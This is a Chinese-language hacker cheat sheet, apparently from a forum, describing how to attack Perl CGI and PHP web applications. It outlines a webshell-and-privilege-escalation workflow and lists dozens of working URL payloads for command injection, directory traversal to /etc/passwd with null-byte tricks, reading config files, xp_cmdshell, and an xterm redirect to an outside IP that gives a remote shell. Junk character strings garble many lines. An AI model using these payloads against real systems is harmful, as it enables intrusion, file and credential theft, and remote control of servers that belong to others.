总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
% p8 Y7 I+ ^+ X2 Ccookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
! x4 f- T" _( t4 V- r$ y感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
3 Z" x( v6 d. r注“ 4 {0 ?; G U4 \% M1 h( s
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 7 E. u/ }0 S- H' Z" X" o
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
8 b! B$ f4 C- w- T T
9 } w) b: O/ P6 G9 M+ f, `( thttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 + s8 g, z7 ^* q+ ?* k: K% M) C
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 3 h4 i2 n% |) u K7 |0 @& G* ]
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
4 u& D% D$ z: w( f, Mhttp://target.com/cgi-bin/home/news/sub.pl?`id`
: Y3 W( b# M+ O7 p0 ^& w' Vhttp://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` # J+ F( \& U) d# y1 s
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 * V6 T* c1 w n* z' K" x, r
2 d5 y7 N" S4 E: \6 jhttp://target.com/test.pl;ls|
! A1 U* [$ d! N5 h, ]' q8 C9 ]* R5 |http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 6 u" {! x( o- i
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 1 R6 T/ i/ ~# X$ S
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 2 O: s8 e; j0 A4 O/ u& T
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
5 t# z% r9 J$ y! \7 {* X, `http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection " h4 X# i8 h) I) `) g7 L% {$ }) G) T9 M
0 U3 G9 ^& O0 T3 w+ {7 ?, E7 M; ohttp://target.com/test.pl?&........ /../../etc/passwd
8 x& i/ k) ^. P( M5 F. j. h$ P! P( z+ `
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ , s# _4 G( {2 g( |% S
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
1 K8 w7 d6 b! t0 T9 C5 Chttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
1 W3 J! z$ u" g0 l+ V
- ?2 W8 V; l5 S% @% E) z9 C3 Ehttp://www.target.org/show.php?f ... /include/config.php 查看php代码
9 K* X* w. r. h3 e' zhttp://www.target.org/show.php?f ... ng/admin/global.php
0 K+ T# X; I9 J. u; |/ d0 f" S) k
) y. l) U/ p6 E @2 |7 ^7 E* `) uemm和ps的一句话2 L$ f2 w: c. D7 \- _6 \! v
6 p' k$ l" e, Q7 w8 U/ Phttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 ( w4 A. D1 D, C9 h! y- E
& u( l5 o7 W# k: \- v>bbb%20| J- Y0 h4 ~# H t2 C
1 N3 p4 ?: D+ f
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
" D$ M2 }$ l7 r' K& n+ s2 [* ~) i! z& J
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 9 E( N1 _% ~4 }) z9 m* E5 d
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
. b3 L3 n0 t" s, [. i8 p
6 V) Z2 `1 ?! k D4 y相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 + V' P1 {( ~, K- H v4 R: |
http://target.com/index.html#cmd.exe
* U5 W, }( T3 s* _9 N7 fhttp://target.com/index.html?dummyparam=xp_cmdshell $ d3 B( _9 @6 A8 @1 {( R. M$ R
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd $ @3 [' B3 ^2 Z% c( [0 E
|